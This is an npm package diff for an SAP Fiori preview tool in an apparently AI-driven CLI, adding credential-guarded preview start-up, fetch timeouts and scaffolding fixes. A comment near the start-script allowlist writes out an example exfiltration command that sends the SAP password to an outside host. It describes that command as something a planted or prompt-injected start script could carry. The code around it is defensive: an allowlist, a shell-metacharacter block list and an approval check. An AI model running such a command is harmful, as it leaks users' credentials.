@cspeach/cli 1.1.18 → 1.1.20

package/dist/tools/fiori/preview/start.js

@@ -0,0 +1,469 @@
+// cspeach-cli/src/tools/fiori/preview/start.ts
+/**
+ * L1-6 — bring a Fiori preview up, reliably, with TLS verification ON and the
+ * SAP login supplied without ever touching a file.
+ *
+ * WHAT JULY TAUGHT US (and what each step here is for)
+ * ----------------------------------------------------
+ *  - The first boot died on the certificate and nobody could see why, because
+ *    the child's stderr was never captured. → every failure here carries the
+ *    child's stderr TAIL (scrubbed).
+ *  - A second start left servers on :8080 AND :8081 with nobody able to say
+ *    which one the browser was looking at. → one entry per app dir, reuse when
+ *    it is alive, and a tree kill when it is not.
+ *  - "the port answered" was treated as "the preview works". → readiness needs
+ *    BOTH the app and the backend leg ($metadata through the proxy).
+ *
+ * WHAT NEVER HAPPENS
+ * ------------------
+ *  - No prompt. A headless run must never hang waiting for a password
+ *    (connection-manager.ts's B5 guard is the precedent) — a missing keychain
+ *    entry is a fast, actionable error.
+ *  - No file. The password and the CA path reach the child only through its
+ *    process environment; nothing is written to `.env`, `ui5.yaml` or a temp
+ *    file.
+ *  - No certificate check is disabled, ever. There is no `ignoreCertErrors`
+ *    path here, no `NODE_TLS_REJECT_UNAUTHORIZED`, no
+ *    `--ignore-certificate-errors`. An alias configured `insecure` still gets
+ *    its preview — this task changes nobody's existing posture — but the result
+ *    says so out loud and points at `sap.<alias>.ca_cert_path`.
+ */
+import crossSpawn from 'cross-spawn';
+import { promises as fs } from 'node:fs';
+import * as http from 'node:http';
+import * as net from 'node:net';
+import * as path from 'node:path';
+import { randomUUID } from 'node:crypto';
+import { loadConfig as realLoadConfig, resolveSapTls } from '../../../config/loader.js';
+import keychain from '../../../auth/keychain.js';
+import { resolveExecutable } from '../../_command-shared.js';
+import { buildPreviewEnv, scrubSecrets, tlsNoteFor } from './env.js';
+import { waitForPreview } from './readiness.js';
+import { lifecycleProblem, loginNeed, readStartScript } from './app-guard.js';
+import { registerPreview, findPreviewByAppDir, findChildById, forgetPreview, childIsLive, stopPreview, killProcessTree, installPreviewExitHandler, markPendingChild, unmarkPendingChild, previewKeyFor, } from './registry.js';
+/** Same keychain service the connection manager reads (connection-manager.ts:7). */
+export const PREVIEW_KEYCHAIN_SERVICE = 'cspeach-sap';
+/** A cold UI5 CDN load plus the first backend round-trip is genuinely slow. */
+export const DEFAULT_BUDGET_MS = 120_000;
+/** How many lines of the child's stdout/stderr we keep for the failure tail. */
+export const TAIL_LINES = 20;
+/** Ask the OS for a free port, then release it. */
+export function pickFreePort() {
+    return new Promise((resolve, reject) => {
+        const srv = net.createServer();
+        srv.once('error', reject);
+        srv.listen(0, '127.0.0.1', () => {
+            const addr = srv.address();
+            const port = addr.port;
+            srv.close((err) => (err ? reject(err) : resolve(port)));
+        });
+    });
+}
+/**
+ * The default readiness probe: a plain loopback HTTP GET. The preview itself is
+ * http on 127.0.0.1, so there is no TLS here — the TLS that matters is the one
+ * BETWEEN the preview proxy and SAP, and that is the child's
+ * NODE_EXTRA_CA_CERTS' business.
+ */
+export function httpProbe(url, timeoutMs = 5_000) {
+    return new Promise((resolve, reject) => {
+        const req = http.get(url, { headers: { accept: '*/*' } }, (res) => {
+            res.resume(); // drain, we only need the status
+            resolve({ status: res.statusCode ?? 0 });
+        });
+        req.setTimeout(timeoutMs, () => {
+            req.destroy(Object.assign(new Error(`timed out after ${timeoutMs}ms`), { code: 'ETIMEDOUT' }));
+        });
+        req.on('error', reject);
+    });
+}
+/** Bounded tail of a child stream — the last TAIL_LINES lines, nothing more. */
+class Tail {
+    lines = [];
+    partial = '';
+    push(chunk) {
+        this.partial += chunk;
+        const parts = this.partial.split(/\r?\n/);
+        this.partial = parts.pop() ?? '';
+        for (const l of parts) {
+            this.lines.push(l);
+            if (this.lines.length > TAIL_LINES)
+                this.lines.shift();
+        }
+    }
+    text() {
+        const all = this.partial.length > 0 ? [...this.lines, this.partial] : this.lines;
+        return all.slice(-TAIL_LINES).join('\n');
+    }
+}
+function describeOutcome(o) {
+    return `${o.reason}: ${o.detail}`;
+}
+/**
+ * Starts in flight, keyed by the normalised app dir (F-5). Two concurrent
+ * `start` calls for one directory used to spawn two servers, the second
+ * silently replacing the first in the registry and leaving its tree
+ * unreachable by `stop`, `list` and the exit path — ':8080 beside :8081'
+ * again. Now the second call awaits the first and reports `reused`.
+ */
+const inFlight = new Map();
+export async function startPreview(args, deps = {}) {
+    const key = previewKeyFor(args.appDir);
+    // F-7: with no explicit entry, preview the page the app's own `npm start` opens.
+    const entryFile = args.entryFile ?? defaultEntryFile(await readStartScript(path.resolve(args.appDir)));
+    args = { ...args, entryFile };
+    // Loop: several callers may be queued behind one start; each re-checks the door.
+    for (let running = inFlight.get(key); running; running = inFlight.get(key)) {
+        const first = await running.promise;
+        // R1-8: only the SAME target is a reuse (F-9). Another alias or entry page
+        // waits for the first start, then goes through the normal path, which
+        // stops that preview and starts its own.
+        if (running.alias === args.alias && running.entryFile.replace(/^\/+/, '') === entryFile.replace(/^\/+/, '')) {
+            return first.ok ? { ...first, reused: true } : first;
+        }
+    }
+    const promise = startPreviewInner(args, deps).finally(() => { inFlight.delete(key); });
+    inFlight.set(key, { alias: args.alias, entryFile, promise });
+    return promise;
+}
+/** Bounds for the model-supplied readiness budget (F-11). */
+export const MIN_BUDGET_MS = 5_000;
+export const MAX_BUDGET_MS = 300_000;
+/** A preview entry page: a relative path, optionally with a query/hash. */
+const ENTRY_FILE_RE = /^[A-Za-z0-9._\-/]+(\?[A-Za-z0-9._\-=&%]*)?(#[A-Za-z0-9._\-]*)?$/;
+/**
+ * The ONLY start scripts we will hand the SAP password to (F-10).
+ *
+ * Before this tool, no CSPeach tool gave project code the SAP password —
+ * `shell_exec`'s environment is stripped precisely for that. `npm run start`
+ * runs whatever `scripts.start` says, in a directory the model can write, so a
+ * planted or prompt-injected `"start": "node -e \"fetch('https://x/'+process.env.FIORI_TOOLS_PASSWORD)\""`
+ * would exfiltrate it. The script must therefore be a known preview server and
+ * carry no shell plumbing.
+ */
+const ALLOWED_START_SCRIPT_RE = /^\s*(fiori run|ui5 serve)(\s|$)/;
+// R1-3: `%` and `!` too — cmd.exe expands %VAR% (and !VAR! under delayed
+// expansion) when npm runs the script, which would put the login on the
+// preview's command line and in the browser URL.
+const SHELL_METACHARS = /[&|;<>^`$(){}%!\r\n]/;
+/**
+ * L1-2b F-7: the default preview entry is the page the app's own `npm start`
+ * opens (`fiori run --open "<page>"`), else index.html.
+ *
+ * Why not always index.html: a Fiori Elements V4 app opened standalone has no
+ * sap.ushell.Container, so sap.fe.core falls back to its NavigationServicesMock
+ * — which in UI5 1.120.x (still in 1.136; fixed by 1.152) lacks
+ * storeInnerAppStateAsync, while sap.fe.core's AppStateHandler calls it when it
+ * stores app state (pressing Go): "TypeError: …storeInnerAppStateAsync is not a
+ * function". That is SAP's code, not ours; the scaffold's start script opens the
+ * FLP sandbox (test/flpSandbox.html#<intent>), where the real service exists.
+ * A value that is not a plain relative page path is ignored, never followed.
+ */
+export function defaultEntryFile(startScript) {
+    const m = startScript ? /--open\s+(?:"([^"]+)"|'([^']+)'|(\S+))/.exec(startScript) : null;
+    const opened = m ? (m[1] ?? m[2] ?? m[3] ?? '') : '';
+    if (opened) {
+        const checked = validateEntryFile(opened);
+        if ('entryFile' in checked)
+            return checked.entryFile;
+    }
+    return 'index.html';
+}
+function validateEntryFile(raw) {
+    const stripped = raw.replace(/^\/+/, '');
+    if (stripped.length === 0)
+        return { error: 'entryFile must not be empty' };
+    if (!ENTRY_FILE_RE.test(stripped) || stripped.split('/').includes('..')) {
+        return {
+            error: `entryFile "${raw}" is not a plain relative page path — expected something like ` +
+                '"index.html" or "test/flpSandbox.html" (no "..", no backslash, no control characters)',
+        };
+    }
+    return { entryFile: stripped };
+}
+function clampBudget(raw) {
+    if (raw === undefined || !Number.isFinite(raw))
+        return DEFAULT_BUDGET_MS;
+    return Math.min(MAX_BUDGET_MS, Math.max(MIN_BUDGET_MS, Math.floor(raw)));
+}
+async function startPreviewInner(args, deps = {}) {
+    // Whatever happens next, a preview must not outlive this CLI process.
+    installPreviewExitHandler();
+    const appDir = path.resolve(args.appDir);
+    const checkedEntry = validateEntryFile(args.entryFile ?? 'index.html');
+    if ('error' in checkedEntry)
+        return { ok: false, error: checkedEntry.error };
+    const entryFile = checkedEntry.entryFile;
+    const budgetMs = clampBudget(args.budgetMs);
+    const kill = deps.kill ?? killProcessTree;
+    const probe = deps.readiness?.probe ?? ((url) => httpProbe(url));
+    // A REAL timer (not an instantly-resolved promise): the poll loop has to
+    // yield to the macrotask queue, or the child's own 'exit'/'data' events can
+    // never be delivered while we wait. Deliberately NOT unref'd — the wait is
+    // bounded by the budget and must keep the process alive until it resolves.
+    const sleep = deps.readiness?.sleep ?? ((ms) => new Promise((r) => { setTimeout(r, ms); }));
+    // ── 1. The alias, and its TLS posture ────────────────────────────────────
+    const loadCfg = deps.loadConfig ?? realLoadConfig;
+    let system;
+    try {
+        const cfg = await loadCfg();
+        system = cfg.sap?.[args.alias];
+    }
+    catch (err) {
+        return { ok: false, error: `could not read the CSPeach config — ${err instanceof Error ? err.message : String(err)}` };
+    }
+    if (!system) {
+        return {
+            ok: false,
+            error: `unknown SAP alias "${args.alias}" — configure it first (cspeach config set sap.${args.alias}.host …)`,
+        };
+    }
+    const tls = resolveSapTls(system);
+    // ── 2. Reuse an existing, LIVE preview for this app dir ──────────────────
+    // One entry per directory is the whole point: without it a second start
+    // leaves :8080 beside :8081 and nobody can say which one is being checked.
+    // Note this runs BEFORE the keychain read — reusing must not need a secret.
+    const replacedWarnings = [];
+    const existing = findPreviewByAppDir(appDir);
+    if (existing) {
+        // F-9: a preview for a DIFFERENT alias or a different entry page is not a
+        // reuse candidate — returning it would smoke the wrong backend with the
+        // wrong login while the result's TLS line describes the alias asked for.
+        const sameTarget = existing.alias === args.alias && existing.entry === entryFile;
+        let alive = false;
+        try {
+            const res = await probe(existing.url);
+            alive = res.status >= 200 && res.status < 300;
+        }
+        catch {
+            alive = false;
+        }
+        if (alive && sameTarget) {
+            return {
+                ok: true,
+                entry: existing,
+                tlsNote: tlsNoteFor(tls),
+                insecureFallback: tls.mode === 'insecure',
+                reused: true,
+                // A reused preview keeps the environment it was started with.
+                loginPassed: existing.loginPassed ?? true,
+                warnings: insecureWarnings(tls.mode, args.alias),
+            };
+        }
+        if (alive) {
+            // Live, but for another alias/entry. Stop OUR child (a tree kill that
+            // only touches a process this session still holds), then start fresh.
+            const stopped = await stopPreview(existing.previewId);
+            replacedWarnings.push(`a preview for this app was already running against alias ${existing.alias} (${existing.entry}); ` +
+                `it was stopped and a new one started for ${args.alias} (${entryFile})` +
+                (stopped.portClosed ? '' : ` — warning: port ${existing.port} still answers`));
+        }
+        else {
+            // F-3.4: ONE failed probe is not proof of death (a 5s timeout under load,
+            // a 404 on the entry page). Never kill by remembered pid. If this session
+            // still holds a LIVE handle, stop that child properly; otherwise just
+            // forget the entry — its pid may since have been recycled by the OS.
+            const child = findChildById(existing.previewId);
+            if (childIsLive(child)) {
+                await stopPreview(existing.previewId);
+            }
+            else {
+                forgetPreview(existing.previewId);
+            }
+        }
+    }
+    // ── 3. The app directory must be an npm project we may hand a password ───
+    let startScript;
+    let scripts;
+    try {
+        const raw = await fs.readFile(path.join(appDir, 'package.json'), 'utf8');
+        const pkg = JSON.parse(raw);
+        scripts = pkg.scripts;
+        const value = pkg.scripts?.start;
+        startScript = typeof value === 'string' ? value : undefined;
+    }
+    catch (err) {
+        return {
+            ok: false,
+            error: `could not read ${path.join(appDir, 'package.json')} — the preview runs "npm run start" there, ` +
+                `so scaffold the app first (${err instanceof Error ? err.message : String(err)})`,
+        };
+    }
+    if (startScript === undefined) {
+        return { ok: false, error: `package.json in ${appDir} has no "start" script — the preview has nothing to run` };
+    }
+    if (!ALLOWED_START_SCRIPT_RE.test(startScript) || SHELL_METACHARS.test(startScript)) {
+        return {
+            ok: false,
+            error: `refusing to start: the SAP login for alias '${args.alias}' would be handed to this command, and it ` +
+                `is not a recognised preview server.\n"start": ${JSON.stringify(startScript)}\n` +
+                'Expected a plain "fiori run …" or "ui5 serve …" with no shell plumbing (no & | ; < > ^ ` $ ( ) { } % !).',
+        };
+    }
+    // R1-2: npm's pre/post hooks and a project .npmrc run code around "start".
+    const lifecycle = await lifecycleProblem(appDir, scripts);
+    if (lifecycle !== null)
+        return { ok: false, error: lifecycle };
+    // R1-4 + round 2b: ONE decision (app-guard.ts loginNeed) — the proxy sends
+    // the login to ui5.yaml's backend, which must be this alias's host; no
+    // backend url at all means the preview starts WITHOUT the login.
+    const need = await loginNeed(appDir, startScript, args.alias, system);
+    if ('refuse' in need)
+        return { ok: false, error: need.refuse };
+    const loginPassed = need.need === 'login';
+    // TOCTOU: the approval hook ran its own copy of the decision before this
+    // handler. If the app gained a backend since (or this path was reached
+    // without the gate), no human approved this handover — refuse.
+    if (loginPassed && !(deps.isLoginApproved ?? (() => false))(args.alias)) {
+        return {
+            ok: false,
+            error: `refusing to start: this app now needs the SAP login for alias ${args.alias}, but handing it over was ` +
+                'not approved in this session (the app\'s ui5 config may have changed after the check). Start the ' +
+                'preview again so the approval prompt can be shown.',
+        };
+    }
+    // ── 4. Credentials — keychain only, never a prompt, never a file ─────────
+    let password;
+    if (loginPassed) {
+        const getPassword = deps.getPassword ?? ((s, a) => keychain.getPassword(s, a));
+        let stored = null;
+        try {
+            stored = await getPassword(PREVIEW_KEYCHAIN_SERVICE, args.alias);
+        }
+        catch {
+            stored = null; // keychain unavailable — handled as "no stored password"
+        }
+        if (!stored) {
+            return {
+                ok: false,
+                error: `no stored password for SAP alias '${args.alias}' — the preview proxy answers the backend's ` +
+                    'basic-auth challenge with it and cannot prompt. Store it once (run cspeach interactively, ' +
+                    'or use cspeach config) and start the preview again.',
+            };
+        }
+        password = stored;
+    }
+    // ── 5. The child environment ─────────────────────────────────────────────
+    const { env, insecureFallback, tlsNote } = buildPreviewEnv({
+        baseEnv: deps.baseEnv ?? process.env,
+        tls,
+        ...(password !== undefined ? { username: system.username, password } : {}),
+    });
+    // ── 6. A free port, and npm ──────────────────────────────────────────────
+    let port;
+    try {
+        port = await (deps.pickPort ?? pickFreePort)();
+    }
+    catch (err) {
+        return { ok: false, error: `could not pick a free port — ${err instanceof Error ? err.message : String(err)}` };
+    }
+    const resolveNpm = deps.resolveNpm ?? (() => resolveExecutable('npm'));
+    const npmPath = await resolveNpm();
+    if (npmPath === null) {
+        return { ok: false, error: 'npm is not installed on this system (not found on PATH) — the preview needs it to run "npm run start"' };
+    }
+    // ── 7. Spawn ─────────────────────────────────────────────────────────────
+    // The ABSOLUTE PATH-resolved npm (never the bare name): cross-spawn resolves
+    // a bare name cwd-first on Windows, which a planted `npm.cmd` in the project
+    // tree could hijack — the same reasoning as shell_exec.ts / background_run.ts.
+    // cross-spawn still wraps an absolute `.cmd` through cmd.exe with per-arg
+    // escaping, which is what makes Node >= 20.12 spawn a `.cmd` at all
+    // (shell:false + .cmd is EINVAL since CVE-2024-27980).
+    //
+    // detached: POSIX only. There the child must LEAD its own process group so
+    // the whole group (npm → sh → the ui5 server) can be signalled at once. On
+    // Windows there are no groups — taskkill /T walks the tree instead — and
+    // detached would only pop a console window.
+    const spawn = deps.spawn ?? crossSpawn;
+    let child;
+    try {
+        // R1-2: --ignore-scripts — npm still runs "start" itself but skips the
+        // pre/post hooks (refused above as well, so this is belt and braces).
+        child = spawn(npmPath, ['run', 'start', '--ignore-scripts', '--', '--port', String(port)], {
+            cwd: appDir,
+            env,
+            windowsHide: true,
+            shell: false,
+            detached: process.platform !== 'win32',
+            stdio: ['ignore', 'pipe', 'pipe'],
+        });
+    }
+    catch (err) {
+        return { ok: false, error: `could not start the preview — ${scrubSecrets(err instanceof Error ? err.message : String(err), password, system.username)}` };
+    }
+    // F-5: the child is not in the registry until it is READY, which can be two
+    // minutes away. Track it from this instant so quitting the CLI during the
+    // wait sweeps it instead of orphaning it.
+    markPendingChild(child);
+    // ── 8. Capture the child's output — the July failure was invisible ───────
+    const stderrTail = new Tail();
+    const stdoutTail = new Tail();
+    child.stdout?.on('data', (c) => stdoutTail.push(String(c)));
+    child.stderr?.on('data', (c) => stderrTail.push(String(c)));
+    let exited = false;
+    let exitCode = null;
+    let exitSignal = null;
+    child.on('exit', (code, signal) => { exited = true; exitCode = code; exitSignal = signal; });
+    child.on('error', (err) => { exited = true; stderrTail.push(`spawn error: ${err.message}\n`); });
+    // ── 9. Readiness, with a hard stop as soon as the child is gone ──────────
+    // `now` jumps past the budget once the child exits, so a dead child ends the
+    // wait on the next tick instead of burning the full 120s.
+    const t0 = Date.now();
+    const now = deps.readiness?.now ?? (() => (exited ? t0 + budgetMs + 1 : Date.now()));
+    const url = `http://localhost:${port}/${entryFile}`;
+    const outcome = await waitForPreview(url, args.servicePath, budgetMs, { probe, now, sleep });
+    // R1-1: a child that died during the wait is never registered — its 'exit'
+    // has already fired, so nothing would ever forget the entry — even when
+    // something else happens to answer the port.
+    if (!outcome.ready || exited) {
+        // On Windows a dead child's pid may already belong to another process:
+        // no taskkill at it. POSIX still signals the group (survivors of a dead
+        // leader remain in it, and a pgid is not reused while a member lives).
+        if (!exited || process.platform !== 'win32')
+            await kill(child.pid, child);
+        unmarkPendingChild(child);
+        const tail = scrubSecrets([stderrTail.text(), stdoutTail.text()].filter((s) => s.length > 0).join('\n'), password, system.username);
+        const readinessLine = outcome.ready
+            ? 'readiness: the port answered, but not from the process this preview started\n'
+            : `readiness: ${describeOutcome(outcome)}\n`;
+        const why = exited
+            ? `the preview process exited (${exitSignal ? `signal ${exitSignal}` : `code ${exitCode}`}) before it became ready`
+            : `the preview did not become ready within ${budgetMs}ms — ${outcome.ready ? '' : describeOutcome(outcome)}`;
+        return {
+            ok: false,
+            error: `${why}\nurl: ${url}\n` +
+                (exited ? readinessLine : '') +
+                (tail.length > 0 ? `last output from the preview process:\n${tail}` : 'the preview process produced no output'),
+        };
+    }
+    // ── 10. Register ─────────────────────────────────────────────────────────
+    const entry = {
+        previewId: `preview-${randomUUID()}`,
+        appDir,
+        url,
+        port,
+        pid: child.pid,
+        entry: entryFile,
+        startedAt: Date.now(),
+        alias: args.alias,
+        loginPassed,
+    };
+    registerPreview(entry, child);
+    return {
+        ok: true,
+        entry,
+        tlsNote,
+        insecureFallback,
+        reused: false,
+        loginPassed,
+        warnings: [...replacedWarnings, ...insecureWarnings(tls.mode, args.alias)],
+    };
+}
+function insecureWarnings(mode, alias) {
+    if (mode !== 'insecure')
+        return [];
+    return [
+        `this system is in insecure TLS mode; set sap.${alias}.ca_cert_path to a PEM root CA ` +
+            '(the preview was started unchanged — CSPeach never turns certificate checking off)',
+    ];
+}

package/dist/tools/fiori/samples/loader.js

@@ -81,12 +81,27 @@ export function resolveRawBase(rawBase) {
         return trimmed;
     return RAW_CONTENT_ROOT + trimmed.replace(/^\/+/, '');
 }
+/** L1-7 (O-22): a hung connection must not stall fiori_sample_get. */
+export const FETCH_TEXT_TIMEOUT_MS = 30_000;
 /** Default network fetch — used only when no `fetchText` is injected. */
-async function defaultFetchText(url) {
-    const res = await fetch(url);
-    if (!res.ok)
-        throw new Error(`HTTP ${res.status} for ${url}`);
-    return res.text();
+export async function defaultFetchText(url) {
+    const ctrl = new AbortController();
+    const timer = setTimeout(() => ctrl.abort(), FETCH_TEXT_TIMEOUT_MS);
+    try {
+        const res = await fetch(url, { signal: ctrl.signal });
+        if (!res.ok)
+            throw new Error(`HTTP ${res.status} for ${url}`);
+        return await res.text();
+    }
+    catch (err) {
+        if (ctrl.signal.aborted) {
+            throw new Error(`fetch of ${url} timed out after ${FETCH_TEXT_TIMEOUT_MS / 1000} s`);
+        }
+        throw err;
+    }
+    finally {
+        clearTimeout(timer);
+    }
 }
 /** Split a name/relative path into segments on either slash flavour. */
 function segments(p) {

package/dist/tools/fiori/scaffold.js

@@ -1,18 +1,24 @@
 // cspeach-cli/src/tools/fiori/scaffold.ts
-import { generate, TemplateType } from '@sap-ux/fiori-freestyle-writer';
 import { create } from 'mem-fs';
 import { create as createEditor } from 'mem-fs-editor';
+import { join } from 'node:path';
+import { PINNED_UI5_VERSION } from './ui5-version.js';
+import { decodePropertiesValues } from './html-escapes.js';
 // Without an explicit ui5 config the writer falls back to minUI5Version 1.60,
 // which fiori-tools-proxy resolves to the 1.71 LTS — whose bootstrap does NOT
 // understand the hyphenated `data-sap-ui-on-init` attribute the writer itself
 // emits in index.html. Result: silent blank page (ComponentSupport never runs).
-// 1.120 is the S/4HANA 2023-era LTS and parses the modern attribute.
-const DEFAULT_UI5_VERSION = '1.120.0';
-const TEMPLATE = {
-    basic: TemplateType.Basic, worklist: TemplateType.Worklist, listdetail: TemplateType.ListDetail,
-};
+// 1.120 is the S/4HANA 2023-era LTS and parses the modern attribute. The exact
+// patch is the ONE pinned, CDN-hosted one (ui5-version.ts) — never an x.y.0 guess.
+const DEFAULT_UI5_VERSION = PINNED_UI5_VERSION;
 /** Scaffold a freestyle UI5 app and FULLY flush it to disk (awaits commit). */
 export async function scaffoldFreestyle(opts) {
+    // Loaded on use (fix round 3, item 11e): the writer's module graph cost
+    // ~0.5 s of every CLI start, Fiori work or not.
+    const { generate, TemplateType } = await import('@sap-ux/fiori-freestyle-writer');
+    const TEMPLATE = {
+        basic: TemplateType.Basic, worklist: TemplateType.Worklist, listdetail: TemplateType.ListDetail,
+    };
     const fs = createEditor(create());
     // NOTE (Phase-0 spike finding): the real freestyle-writer@3 API REQUIRES
     // `app.projectType` and a `package` object — without them ui5-application-writer
@@ -35,5 +41,11 @@ export async function scaffoldFreestyle(opts) {
         data.service = { url: opts.service.url, path: opts.service.path, version: writerVersion };
     }
     await generate(opts.basePath, data, fs);
+    // 2026-09-25: the writer HTML-escapes the main view title into i18n.properties
+    // ("title=Tom's …"), and UI5 shows those escapes literally. i18n values
+    // are plain text — decode them before the files reach disk.
+    const i18nPath = join(opts.basePath, 'webapp', 'i18n', 'i18n.properties');
+    if (fs.exists(i18nPath))
+        fs.write(i18nPath, decodePropertiesValues(fs.read(i18nPath)));
     await new Promise((res, rej) => fs.commit((err) => (err ? rej(err) : res())));
 }